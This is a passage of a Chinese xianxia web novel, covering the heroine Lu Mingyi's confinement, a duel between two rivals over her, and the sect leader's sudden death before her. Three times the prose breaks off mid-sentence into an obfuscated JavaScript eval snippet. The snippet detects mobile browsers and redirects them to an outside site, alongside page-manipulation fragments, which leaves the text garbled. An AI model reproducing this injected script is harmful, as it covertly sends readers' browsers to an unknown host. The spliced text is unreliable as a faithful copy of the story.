鹿鸣意好不容易气色好转的脸庞,此时又变得煞白一片,但她的声线已经不再发抖,反而是愈发坚定,说:“好,那就我来。” 姜流照阖上了眼,不知是否觉得鹿鸣意已经误入歧途无药可救,她只缓声道:“你当真如此坚持?” “我知道这件事听起来很荒谬,但我不能就这么放过。”鹿鸣意是依然不肯退让。 姜流照垂眸看着眼前人低头时露出的小小的发旋,注意到鹿鸣意的双手从方才起就紧紧握着,白皙手背上的血管清晰可见。 凌霄阁大殿内又陷入了一阵死寂。 仿佛过去了许久,鹿鸣意才又听到了姜流照的声音:“你说调查一事,此次我便走这一趟。” 姜流照退让了一步,答应了她的请求。 但鹿鸣意完全没有获得任何正面情绪。她甚至在想,师尊是否真的会去调查,还是只为了搪塞她? 随后,她又听到:“这些时日你便待在自己的那间卧房里,没有要事不用出来。” 这是要关她禁闭了。 鹿鸣意说不清此时到底是气愤多点还是难过多点,但她不想让自己在姜流照面前更显难堪,于是提起一个笑起身行礼道:“多谢师尊,那徒儿便听令退下了。” 姜流照没有看她,只是亦如平日一样淡声说:“嗯。” 见此,鹿鸣意终于是待不下去了,垮了笑快步朝内殿走去。 而这时她险些撞上了一个人。 “唉哟!” 祁映雪被突然冲过来的人影吓了一跳,但见是鹿鸣意,脸上绽开一个笑正要打招呼,却在看清对方侧脸时愣住了。 突发这么一个小意外,鹿鸣意只得停下了脚步,她眯起眼提起一个笑,对祁映雪轻声道:“抱歉小师妹,差点撞到你了。” “不、没事的鹿师姐……”祁映雪望着她喃喃回复。 鹿鸣意跟着笑笑:“那我先走了。” 她说完,又冲祁映雪点了点头,不等对方回答就先自己离开了。 而祁映雪站在原地,望着鹿鸣意快步离去的身影,方才的惊鸿一瞥在脑海里挥之不去。 那双素来蕴着明媚笑意微微弯起的眉眼微微耷拉了下去,圆润的眼尾被涂抹上了点点嫣红,在近乎惨白的脸上分外惹眼。 这张漂亮俏丽的面庞极为少有的出现了如此脆弱的模样。 鹿鸣意没有想哭的意思,她觉得自己是被气成这样的。 姜流照那隐含失望的眼神令她感觉喉咙简直辣到疼痛,连带着眼眶都酸了起来。 这会儿进了自己的卧房,鹿鸣意直接扑到了床铺上,深吸几口气平复呼吸,又狠狠揉了揉自己的眼睛。 柔软的棉被拂在脸上,带有浅浅一层檀木气息。 姜流照喜好檀木,凌霄阁内也多有檀木制品。 在突破至金丹期之前,鹿鸣意一直住在这间卧房内,而这个房间距离凌霄阁大殿又是最近,许是在不知不觉中已经被染上了味道。 该是熟悉安心的气息,鹿鸣意这会儿却只觉得窝火。 但反正关于魔宗的事,她要说的也说了,剩下的爱谁管谁管去吧。 带着怨气这么想着,奔波了一整天的身体终于到了极限,鹿鸣意就这样沉沉睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15019094|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 后来的几天,日子似乎变得平淡起来。 鹿鸣意向来不是乖巧安分的性子。 一开始她还赌气把自己一个人关房间里,但坚持了不到一天就实在憋不住。 姜流照没有再来见鹿鸣意,她便也不像往常被关禁闭那样老是往凌霄阁大殿跑,而是就在后殿的院子里走动。 只是因姜流照不喜旁人打扰,凌霄阁内除了几个仆役以外就再无旁人。 哦不对,如今多了一个祁映雪。 鹿鸣意还没习惯自己突然多了一个师妹,是第二天被喊醒,推门发现竟然是祁映雪来喊她去吃饭。 “小师妹,你还会做饭么?” 只有金丹以上的修士才可辟谷,从此告别一日三餐的日子,而鹿鸣意修为跌落的这三年,她多是吃辟谷丹的。这会儿突然要吃饭,她还有点不大习惯。 “不是我做的,是师尊、师尊嘱托了厨子的。”祁映雪一面说着,一面看了鹿鸣意好几眼。 一天过去,鹿鸣意依然是那派淡然随性的样子,昨日她见到的对方那脆弱的模样似乎只是一时眼花。 听到姜流照的名字,鹿鸣意脸上的笑略微淡了一点。 她想到了自己刚上剑峰时的日子。 那几十年姜流照可没有额外请厨子上凌霄阁,鹿鸣意吃的是辟谷丹。 但当着祁映雪的面,她很快又笑道:“那师尊很照顾你,人间饭菜可比辟谷丹好吃太多了。” “辟谷丹是什么味儿?” “没味儿,所以吃多了我都快要丧失味觉了。” “啊?”祁映雪皱了皱鼻子,又问,“那鹿师姐,你就一直吃辟谷丹吗?” “之前在沈家还是吃一日三餐的。不过上了剑峰之后,师尊不开火做饭的,也没喊厨子,所以就吃辟谷丹了。”鹿鸣意看着剑峰峰顶已经不知下了多少天的雨,漫不经心开口,“我这可是沾了小师妹的光呀?” “不、不是的……是师尊让我,来喊你……”祁映雪被她的笑晃到了眼睛,低下头细声说着。 “嗯?”鹿鸣意没听太清,凑近了点,“小师妹你说什么?” “没、没什么!”祁映雪涨红了脸,下意识退了几步。 鹿鸣意见状,觉得有点好笑,于是自己又主动拉开了距离:“说起来倒是还有点遗憾。原来说好要教你练剑的,但师尊现在关我禁闭,剑峰又在下雨,这安排怕是要推后了。” “没关系的,反正、时间还很多……”祁映雪低着头,小声说。 接下来几天,鹿鸣意就和祁映雪成了“饭搭子”,而姜流照这回叫来的厨子当是江夏人,做的饭菜口味都极为合两人的口味。 才几天,鹿鸣意因为一番折腾而终日带着几分惨白的脸色就好了不少。 这一日她像前几天一般,到点准时醒来,准备去吃早餐。 而在迷迷糊糊尚且模糊的视线里,鹿鸣意看到自己的床边坐着一个窈窕的熟悉身影。 “……师姐?” 早上刚醒,鹿鸣意清亮的声音还带有些许沙哑。 萧雨歇听到她的呼唤,柔美的脸上缓缓绽开一抹笑,抚上她的眉眼应道:“嗯。” “你怎么来了?”鹿鸣意从床上坐起来,看着萧雨歇出现在这里,有些意外,还有一丝她自己都不太能觉察到的紧张。 姜流照将她关在这儿,虽然她可以在凌霄阁内活动,但到底是“禁闭”,旁人应该是不能来“探视”的。 而现在见到萧雨歇,鹿鸣意不可避免地会想到那个声音、还有谢释疾的名字。 但萧雨歇并不知道鹿鸣意复杂的心理活动,她解释说:“我前几天听仆役说你去找我,便去了金霁阁,却得知你被师尊关了禁闭,本来当时就想来见你的,但师尊不许。今日总算得了师尊的许可。” “师尊?”鹿鸣意眉头一蹙,不明白姜流照为何突然允许萧雨歇来探望。 难道说,师尊已经查出来姬绪云的情况,知道她前几日并非空穴来风地怀疑同门吗? 鹿鸣意眼睛一亮,正想向萧雨歇再问一些外界的风声。却突然被门外传来的声音打断: “你是谁?还能在这儿拦着我?” 20. 第二十章 说话能如此直白不留情的,全太清宗也很难找到除了沈鸣筝之外的第二个人。 还来不及意外沈鸣筝为何没有随沈翩尘她们回沈家,也没时间去想沈鸣筝不是才和她闹了脾气怎么又主动找过来,鹿鸣意注意到萧雨歇淡下去几分的笑容,更是眼前一黑。 祁映雪也是第一次见着这么明艳张扬的女子,她先是被沈鸣筝过人的容貌给镇了一下,再听到对方这么理直气壮的话的时候,忍不住说:“这是鹿师姐的房间,你、你又不是剑峰的人,你怎么能随便进……” 沈鸣筝一声冷笑:“我不是剑峰的人,但鹿鸣意是我们沈家的人,我来见自己家的人怎么了?你没事就让开!” “你、不行,我奉师尊的命令,要守在鹿师姐左右!”祁映雪也不知哪儿来的勇气,竟然就这么直接顶着沈鸣筝的威压说“不”。 沈鸣筝见此,不知想到了什么,眼中的怒气已经清晰可见。 正当她要发作之时,那紧闭的房门突然被打了开来,但走出来的却是沈鸣筝和祁映雪都没想到的人: “沈师妹,小意从思过崖出来没几天,还需要静养,你若有什么事,还是小声点吧。” 萧雨歇笑意盈盈,说完话后,还冲沈鸣筝眨了眨眼。 沈鸣筝见到她,脸色登时变得极为难看。 她直接略过萧雨歇,看到卧房内的鹿鸣意刚穿好宗服,头发都没梳好,就这么散着发走了出来,凤眸中已经是火光大盛。 “师姐等一下!你怎么就就直接出来了?” 鹿鸣意一走出来就嗅到了这相当尴尬的氛围。 见到她,沈鸣筝直接彻底无视了萧雨歇和祁映雪,声音里都是压着的情绪,神色阴翳道:“你还要在这儿待多久,什么时候回去?” “呃这个……”鹿鸣意见到沈鸣筝,更是难得有几分无措,不知要拿什么态度面对她,于是诚实说,“师尊说要我在这儿关几天,等禁闭结束我就会回金霁阁的。” “我是说回沈家!”沈鸣筝几乎咬牙切齿。 这下鹿鸣意更汗流浃背了。 前几天沈翩尘就说要回沈家,但沈鸣筝这会儿出现在凌霄阁,很明显就是她还没走,而且字里行间的意思是要等自己跟着一起走。 难道沈翩尘没告诉沈鸣筝,自己暂时没打算回沈家吗? 鹿鸣意看得出来沈鸣筝这会儿已经相当不满,若是自己说不回沈家,以对方的性子没准就要在这儿用朱焰绫把她捆起来打包带回去了。 正当鹿鸣意还在琢磨该怎么给沈鸣筝顺毛时,萧雨歇接话道:“沈师妹,小意要去哪里她自己会有安排,到时自然会告诉你,何必这会儿急着追问呢?” “萧雨歇,我们家的事你插什么嘴?关你什么事?”沈鸣筝对萧雨歇是半点不客气,甚至称得上盛气凌人。 “阿筝!” 鹿鸣意忍不住喊了一声,觉得今天沈鸣筝的脾气似乎格外暴躁一些。 往日她虽看不惯剑峰的人,却也没到如此直接的地步。 鹿鸣意拉住沈鸣筝的手把她往旁边带了点,想和另外的两人隔开点,也算是打破这紧绷的氛围。 沈鸣筝看向她的眼神相当凌厉,但到底还是没有挣脱开。 然而,萧雨歇见此,带着淡笑的神色未变,紧跟着说:“沈师妹,小意是我们剑峰的人,是我的亲师妹,我又为何不能说她的事?” 沈鸣筝神色冰冷:“萧雨歇,我忍你很久了,别以为这是在剑峰我就不敢把你怎么样。” 萧雨歇笑容依旧:“沈师妹,有什么话还是说出来比较好。如果憋出什么问题来,小意也会说我的。” 鹿鸣意眼前一黑,觉得今天萧雨歇也不对劲。 左边,她听到了沈鸣筝的朱焰绫燃起的爆裂声;右边,她听到了萧雨歇的佩剑“飞光”飞出的破空声。 “那个,宗规说了宗内门徒不能擅自斗殴……”鹿鸣意还想再争取一下和平,但话音未落,已见一红一白两个身影飞了出去。 “萧雨歇,你敢不敢应战!” “沈师妹,你这般主动好学,师姐怎么忍心拒绝?” 鹿鸣意:“……” 俩人这么一说,“擅自斗殴”的性质就变成了“商量切磋”,自然也不算触犯宗规了。 沈鸣筝周身升腾着火焰的朱焰绫即便在雨幕之中也丝毫不落下风,水滴被蒸发为了蒸汽,在一片雾气升腾中,隐约可见炽烈鲜红的身影;而另一边金水双灵根的萧雨歇更为如鱼得水,飞光青色的剑光在空中划过一道又一道优雅飘逸的弧线。 “这……”从刚才到现在,祁映雪整个人都陷入了呆滞状态。 “没事,你就先看看学习一下吧。”鹿鸣意扶住额头,干脆摆烂。 就像王停对鹿鸣意没什么好脸色一般,沈鸣筝与萧雨歇关系不和,是整个太清宗都知道的事情。 而这一切的导火索,或许要归咎于鹿鸣意上剑峰这一事。 萧家以炼丹为专长,作为少主的沈鸣筝在去太清宗之前几乎是板上钉钉的丹峰门徒了,而那时的鹿鸣意,也以为自己会去丹峰。 却不想再灵根觉醒之时,她反而是金灵根,没有一点火气。 要进丹峰,有火灵根是最基础的,这样一来她自然与丹峰无缘,反而被姜流照收为了亲传门徒。 沈鸣筝一直为此事耿耿于怀,看剑峰的一切都相当不顺眼。 在进入剑峰后,鹿鸣意过得是相当快活。萧雨歇性情温柔体贴,又极为照顾她,她一开始没少在沈鸣筝面前夸赞这位好师姐,等意识到对方对剑峰的不满后,为时已晚。 更何况,沈鸣筝这个“现第一世家”的少主,和萧雨歇这个“前第一世家”的少主,因为曾经存在着竞争关系,在家族层面亦是不和。 于是依着性子,沈鸣筝没少对萧雨歇冷嘲热讽,饶是萧雨歇脾气再好,也是忍不下去的。 鹿鸣意甚至想她俩早晚会有打起来的一天。 毕竟,从客观到主观,她们多得是打架的理由。 “鹿师姐,我们就这么看着……没、没事吗?”祁映雪颤颤巍巍地问。 “没事。”鹿鸣意十分淡定,“就算有事,凭我们俩也是拦不住的。” “啊?”祁映雪更担心了。 鹿鸣意倒是没太担心。 一方面她已经看出来了,虽然同为金丹后期,但沈鸣筝到底是丹修,先天在战斗上就比身为剑修的萧雨歇劣势,而萧雨歇剑法比平日更柔和一些,是不会伤到沈鸣筝的;另一方面,她这会儿也没多少精力去担心。 ——她脑袋里的声音响个不停,都快炸了。 【你不愿意回沈家,却愿意留在你师尊这儿,还袖手旁观看我被你的好师姐欺负。鹿鸣意,你当真是好样的!】这是沈鸣筝的声音。 【沈鸣筝数次冒犯我,小意作为我最亲近的师妹,竟然从来不劝阻,宗门到底是比不上家族的。】这是萧雨歇的声音。 鹿鸣意:“……” 她实在是满头问号,想说明明是你们两人打起来了,怎么还在心里说我的不是啊? 而且,她哪里有袖手旁观从不劝阻的,她每次都劝了好吗! 【呵,到底是预言之子,肯定认为自己又要飞上枝头变凤凰了吧?连沈家都不会在你眼里!】 【相像的只会是皮囊,小疾只会是那一人,而小意……也终究不可能是她。】 鹿鸣意:“……” 如果不是因为抬手捂住了半张脸,这会儿一定可以瞧见她陡然僵硬的神色。 “……鹿师姐?” 祁映雪突然感觉自己身边人周围的气场发生了些微的变化,忍不住开口喊了声。 “嗯,怎么了?”鹿鸣意放下手,笑吟吟地看过来,“说了不用担心的,她们过一会儿应该就会自己停下来了。” “哦……” 见祁映雪收回了视线,鹿鸣意的笑顿时就敛了去。 她抬眸看向空中那两个争斗的身影,脑袋里还有些杂乱的声音。 前几天被姜流照质问的那些问题,她并不是没有想过。 这个声音为何出现,是难以找到答案的;但它出现的内容到底是真是假?鹿鸣意不敢说完全是真的,可自从“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15019095|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢释疾”这个名字出现,这些内容至少也是半真半假了。 除了姜流照那儿的声音每次都说一些语焉不详的话,沈鸣筝、萧雨歇和姬绪云三人,都各自围绕不同的事。 姬绪云是魔宗的计谋。 萧雨歇是说她的容貌与那位已故的谢师姐的相像,时时透过她来看那位谢师姐,却始终觉得她不如对方。 而沈鸣筝,是认为她贪慕名声与权势。 鹿鸣意的睫毛颤了颤,不知该对眼前的情况作何想法,甚至她只能感知到自己胸腔内的心跳。 一如既往的平稳,却好像驶向了万劫不复的方向。 末了,她只能在心里留下一个疑问:到底是为什么会这样? 萧雨歇把她当谢释疾代餐这回事,鹿鸣意只能感叹一句造化弄人;姬绪云是魔宗卧底,鹿鸣意会指责自己识人不清;那么沈鸣筝呢? 她和沈鸣筝自幼一起长大,对彼此品性该是最为了解的才对,沈鸣筝怎么能认为她是贪恋权势之人? 鹿鸣意甚至还在心中颇为讽刺地想:若她当真那么在意名头和权力,应当想尽办法讨好沈鸣筝才对! 她这头思绪颇多,天上正打着的两人也是相较不下。 沈鸣筝眼下也看出了萧雨歇的游刃有余,不由得气急:“萧雨歇,你都不敢拿出全力和我打吗?” “沈师妹,同门切磋点到为止即可。”萧雨歇轻飘飘说着,但视线反而是落在了下方站在栏杆内的鹿鸣意身上。 沈鸣筝自然也注意到了对方的注意力在何人身上,朱焰绫立刻腾飞过去,同时咬牙道:“萧雨歇,你们萧家缺人缺到要挖别人墙角了?这么恶心的事你也干得出来!” “沈师妹此言差矣。”萧雨歇从容躲开攻击,面上虽然还是带着笑,却有几分阴恻恻的味道,“同为世家,谁没有爱才之心呢?你说小意是沈家的人,可她在沈家算什么?少主的陪读?还是个高级家仆?你们可是连个门生的名头都没给她。” “……你!”沈鸣筝瞪大了眼睛,大怒道,“这些事跟你有什么关系!” 萧雨歇轻轻嗤笑,眼底却是一片凉意:“沈师妹,怎么没关系?至少我瞧着可比你诚心呢?” 在下面围观两人打架的祁映雪突然发觉两股灵力的碰撞变得更为激烈起来,忍不住说:“她、她们真的会自己停下来吗,怎么越打越凶了?” 鹿鸣意闻言,也将注意力集中看向了上方,不由得惊讶沈鸣筝的攻势竟变得这么迅猛。 这人今天怎么火气这么大? 虽然沈鸣筝看不上落魄的萧家,但过去几十年两个人的纷争仅停留在口头上,也是为彼此的家族留几分颜面,今日这番大打出手,实则是百年来第一次。 看来魔宗出没,当真让大家的精神都不太好。 鹿鸣意揉了揉自己隐隐有些疼痛的额头,思索着如何想办法喊停。 也不能真的让她们打太久。 沈鸣筝作为丹峰的亲传门徒,在剑峰峰主的凌霄阁内和剑峰的大师姐大打出手,这消息传出去,即便沈鸣筝是沈家的少主,也必然会遭受抨击。 更何况,看这架势,鹿鸣意也担忧沈鸣筝盛怒之下,真把萧雨歇伤着哪儿了。 从储物戒指中拿出几张符箓,鹿鸣意正要催动,一人走进后殿喊道:“沈鸣筝,你怎么在这儿?” 而后,一阵庞大的威压压了下来,让天上的沈鸣筝和萧雨歇停了下来。 后殿院落内的四人齐齐行礼:“见过曜冶真人/师尊。” 来人正是明萱,她一阵风风火火的脚步,先到沈鸣筝旁边说:“你跑到凌霄阁来,和萧师侄打架?你不怕我宗规伺候吗!” “我们是正当切磋!”沈鸣筝脸色依然不虞,面对明萱的威胁丝毫不为所动。 “我还不知道你那德行……”明萱对此指指点点,尤其是看到一旁笑容得体的萧雨歇,更是感叹师门不幸,当初收了沈鸣筝这祖宗。 但她手一挥,又说:“唉算了,后面再来教训你们。现在先说正事!” “鹿鸣意,你快随我去一趟主峰,有很重要的事!” 21. 重生倒数4(含入v公告) 这会儿走人,让沈鸣筝和萧雨歇单独待着,鹿鸣意还有点担心这俩人万一继续打下去该怎么办。 但好在明萱也想到了这点,当即让沈鸣筝赶紧回丹峰,这人虽然看起来分外不爽,但面对自己师尊的命令也还是要听的。 只是临走时沈鸣筝还不忘对她说:“我回金阙阁了,你弄完就来找我,我们一起回去。” 鹿鸣意:“……” 这祖宗明明对她那么多意见,为什么这么执着让她一起回去。 另一边是笑容依旧的萧雨歇,她过来拉住鹿鸣意的一只手,轻声说:“别有太大压力,等你这边的事忙完了,我再来找你。” 鹿鸣意:“……嗯。” 对代餐态度都这么好,真不敢想当年谢师姐是什么待遇。 回到正事上,甫一听到明萱说有要事要找自己,鹿鸣意的心底还升起了点期待,以为是魔宗卧底一事有了进展。 结果明萱告诉她,是宗主召见。 “宗主?”鹿鸣意重复了一声。 “怎么了,你还一脸失落?”明萱反问,“宗主重病之中都要召见你,足以见对你的重视啊!” 鹿鸣意听了没开口,只在心中说:宗主能不重视她吗? 做出那个什么五色石、预言之子的卜卦,可正是宗主本人啊! 明萱见她看起来兴致不高,想找个新的话题,又问:“唉说起来,刚刚沈鸣筝怎么和你们峰的萧雨歇打起来了?” 鹿鸣意眉头一跳,心说这两人矛盾多得去了,谁知道今天为什么突然吃了炸药真打起来了?于是随口扯了个由头:“最近魔宗一直在造次,可能大家火气都比较旺。” 没想到明萱还真在思索这个说法,最后还点点头:“你说得真有可能,我还听说你和你师尊吵架了。” “你怎么知道?”鹿鸣意疑惑。 “我师姐的事我为什么不能知道?”明萱回答得理直气壮,“我倒是挺佩服你。师姐进入化神期之后我就没敢对她使过性子。你却能和如今大乘期的长虹剑尊吵架。” 鹿鸣意腹诽,她们那儿哪能叫吵架,她师尊从头到尾表情都不带动一下的,只有她自己在那里唱独角戏。 而且,明萱这话说着好像姜流照很宠溺她,但是实际上,在她那儿听的声音都是语焉不详的。 姜流照什么都不和她说,也并不信任她。 思绪走到了这里,鹿鸣意又情绪分外复杂地想:虽然她不知道声音出现的目的是什么,但至少为她撕开了目前生活的部分假象。真要说起来,这声音当是帮了她的。 那么接下来,她该怎么做? 自双亲死于魔宗手下后,鹿鸣意就被接到了沈家,沈家对她而言是第二个家;到后来进入太清宗,在这里生活了近百年,这里俨然也是她的家。 现在,那些看似美好的假象被揭开,她又当何去何从? 就这么怔神的片刻,明萱已经御风带她到了太清宗主峰的正清堂前。 正清堂,即是历任太清宗宗主的住所。 这座府邸比宗门内的任何一处阁子都要高,且依山而建,其规模可见一斑。 但看着恢宏气派的建筑,推门进去,却是满屋苦涩的药味,以及仿若带着死亡气息的焚香腐朽味。 看着殿内一片漆黑,又嗅到如此具有冲击性的味道,鹿鸣意当下不着痕迹地蹙了蹙眉。 她知道宗主重病,却没想到竟然已经到了如此境地。 明萱又领着鹿鸣意往殿内走了些,正清堂极大,走得离殿内近了点,鹿鸣意才看见了些微的火光。 她看着那跳动的赤色火焰,发觉这竟是姜流照的本命灵火。 在正清堂最深处的高台旁,赫然伫立着姜流照高挑挺拔的身姿。 她师尊这段时日一直行踪不定,想来当是如明萱所说,一直在正清堂照顾宗主了。 鹿鸣意不免又想到,百年来,姜流照很少和她讲过自己的事。就比如她的师尊和宗主曾经关系极好,一同游历过九洲。 但这样一来,姬绪云的调查又该如何? 她师尊总不能真的是搪塞她的吧? “见过宗主师姐,姜师姐。”走在前面的明萱先行礼。 鹿鸣意赶紧回过神跟着行礼。 这个过程中,她注意到姜流照只是朝她们这边瞥了一眼便再无旁的。这前几天的在凌霄阁争论的气,这会儿又在鹿鸣意心里续上了。 “咳咳,无需多礼,快……咳,起来吧。” 一道虚弱、喑哑至极的声音陡然在大殿内响起,鹿鸣意这才注意到,高台之上竟然还坐着人。 但女人大概是实在太虚弱了,近乎趴在了桌子上,身形枯槁,原本当是贴身的宗服在她身上也根本撑不起来。这会儿她抬起头,借助火光,可以看见女人脸上没有任何颜色,憔悴到了极致。 鹿鸣意之前见过宗主几面,印象里的宗主是相当沉稳优雅之人,其容貌亦称得上“光彩照人”,如今这般模样,当真是病入膏肓。 她当即觉得不忍,想说就算见人也不必强撑病体坐着,躺着歇息便是。 但在场的姜流照和明萱都未开口,自己这个小辈自然也只能闭嘴。 她这会儿倒是想,她师尊一个醉心修炼的剑修,当真还是不会照顾人的。 宗主都病成这样了,正清堂怎么还打扮得像鬼屋似的,怎么都该弄得亮堂、舒服一点吧? “宗主师姐,你要见鹿师侄,我已经带到了。”明萱抱拳禀告。 “咳,我知道……多谢阿萱了。”女人像是想笑一下,但她竟然连唇角提起一个笑的力气都没有了,“我原本是叫小照去的,但她不肯走……” 底下的鹿鸣意正竖着耳朵偷听,听到这声“小照”,反应了一会儿才明白,这原来是在喊她师尊。 她在心里琢磨着这个称呼,又偷偷看站在一旁的、她那始终神情淡漠的师尊,脑海里不禁浮现出一个小号的姜流照,被叫着“小照”时会露出乖巧的笑。 不对……她师尊真的会有“乖巧的笑”这种表情吗? 毕竟在鹿鸣意的记忆里,从第一次见到姜流照起,对方就一直是这幅不苟言笑的样子了。 “宗主师姐身体虚弱,需要定期用灵火去除寒气才行。恰好今日走不开,本尊便叫了明萱师妹。”姜流照开口解释。 “咳……多谢小照。”女人眯了眯眼,似乎是在笑。 而反观她师尊,依然不为所动。 师尊也太严肃了点! 鹿鸣意不由得在心里评价了几句,宗主这一看当真是时日无多,师尊既然这么关心对方,也该多留点温情的时刻吧?怎么能还这么拒人于千里之外的样子! “那、你们就都下去吧,我有几句话想同鹿师侄说……” 兀地,女人将视线落到了鹿鸣意身上。 这番对视,鹿鸣意才发觉宗主的眼睛竟然是一片淡蓝色,而不知是否是瞳色诡异,她突然感觉一阵凉意从脚底升起。 “是。”明萱隐有担忧地瞥了鹿鸣意一眼,还是听令退下。 但姜流照并未动。 “咳咳,小照……你还有什么话要说吗?”女人捂嘴咳嗽了好一阵。 然而姜流照只是淡声道:“并没有。但为灵火,本尊还不能离开正清堂。” 但见到这一幕,鹿鸣意想到自己前几天,那般费力想找到姜流照,结果只是被对方冷言质疑一番;这会儿在宗主这里,宗主让姜流照走她都不走的。 她想,姜流照说要调查姬绪云,也不一定是搪塞她,但排序得是在照顾宗主之后了, 信任在意与否,顷刻间已经可见。 鹿鸣意还在为自己感到几分郁闷,就听见台上女人说:“咳……好吧。鹿师侄,你走上来一点吧,我后面可能没什么力气,说话声音也会小的。” 注意到宗主的头发中已经掺上了尽半数的白发,鹿鸣意蹙了蹙眉头,还是忍不住半跪禀道:“宗主,您应当以身体为重。若是不舒服,去内殿说也是可以的。” 宗主一愣,看了她好一会儿,才轻笑着开口说:“呵呵,你倒是个体贴善良的孩子……没事,就在这大殿里吧。毕竟……怎么着都该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15019096|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正式点。” 鹿鸣意闻言,还是听令地走上了几级台阶,来到了宗主的对面。 离得近了,宗主那一双淡蓝色的眼眸更显得又几分迷离诡谲。 鹿鸣意前些日子才刚去翻了宗主的生平。 宗主名为盛夜,号碧月剑尊。 作为太清宗的第一百零九代宗主,盛夜出身自凡人界的一户普通人家,而非在修仙界。她至今应该有千余岁了,这般岁数达到洞虚巅峰的修为,与金水木三灵根的天资,在历任太清宗宗主中算不得多么出众,但一身奇门易数的本领,称得上独步天下。 她的眼睛会变为这种淡蓝色,还有虚弱的身体,多半是由于卜卦太多、窥探天机所导致的。 鹿鸣意毫无顾忌地与盛夜对视,她长睫一颤,便从宗主眼中看到了笑意的波纹:“你……不怕我的眼睛吗?” 她也跟着眨了眨眼,如实说:“头一次见会觉得有点新奇,但……很漂亮的。” “很多人,会很害怕我的眼睛,觉得我会窥探她们的命运。”可能是因为说多了话,盛夜的声音已经有些嘶哑,“鹿师侄,我已经听说了,因为我的那份卦辞,让你在宗门内饱受非议……我很抱歉。” “宗主您言重了。”鹿鸣意当即坐直了身子正色道,“我想,这和您是没有什么关系的。” 若说来之前,她还对盛夜有那么几分埋怨,觉得这人有事没事为什么非要算那些莫须有的卦;这会儿见到盛夜的样子,鹿鸣意是一点怨念都不再有了。 甚至此时见盛夜行将就木的样子,鹿鸣意心中甚至还升起了几分悲悯。 天下道法万千,盛夜也不过是修习了卜卦的术数,却要遭遇如此折磨,当真是不公。 “哦?可是……做出卦辞,是我。”盛夜目不转睛地盯着鹿鸣意。 “卦辞本身并不会为我带来什么影响,带来变故的,当是听到卦辞的人。”鹿鸣意果断道。 所谓“预言之子”的卦辞流传开来而导致她的境遇再度变化,其一应当怪魔宗,故意歪曲内容让预言与魔宗扯上关系;其二要怪那些偏听偏信的人,毕竟只是个预言而已,又能产生什么?若是算命之术当真如此厉害,宗主难道算不出自己如今会遭遇性命之忧吗?魔宗又怎么会日渐壮大而依然没有被正道消灭? 而听了鹿鸣意的话,盛夜低笑了几声:“你……当真是个好孩子啊。” 盛夜的态度倒是让鹿鸣意有几分意外,她还以为盛夜作为卜卦之人,应当对卦辞深信不疑的,却不想对方连着夸赞她。 且不论心中怎么想,鹿鸣意还是垂眸低头以作谦逊。 殿内沉寂片刻,鹿鸣意没有再听到盛夜的声音,便想抬头想问盛夜叫她来到底是为何事,总不能只是为了道个歉吧? 然而她一抬眸,就见到了极为骇人的一幕。 盛夜突然瞪大了眼睛,神情狰狞,鲜血自她口中溢出,像是见到了什么极为恐怖的东西一般! 她颤巍巍地抬手指向鹿鸣意,口中还发出“嗬、嗬”的刺耳声。 鹿鸣意离盛夜相当近,她眼看着盛夜似乎要向她扑来,忍不住想要后退。 一直在台下站着的姜流照已经瞬间来到了鹿鸣意身旁,将她的肩膀揽住,往后带了一步,拉开了两个人的距离。 盛夜的喉咙里依然在发出“嗬、嗬”的怪声,鹿鸣意看到她的眼睛瞪大到几乎要突出眼眶,那双无神的蓝色眼睛死死钉在她身上,仿佛她是什么怪物一般。 随后,盛夜身子剧烈一抖,倒在了地上不再动弹。 看着那滩鲜红的血液,还有穿着华丽白袍倒在地上的枯槁人形,鹿鸣意头晕目眩,下意识地寻向她此刻最信赖的人。 但她第一次,在姜流照那素来波澜不惊的墨眸里见到了如此明显的波动。 鹿鸣意没有看明白其中蕴含着何等复杂的情绪。 她只觉得自己仿佛坠了下去。 太清宗第一百零九代宗主盛夜暴毙于正清堂大殿内。 而当天,九洲内就流出传闻,是“预言之子”鹿鸣意害死了这位苦命的宗主。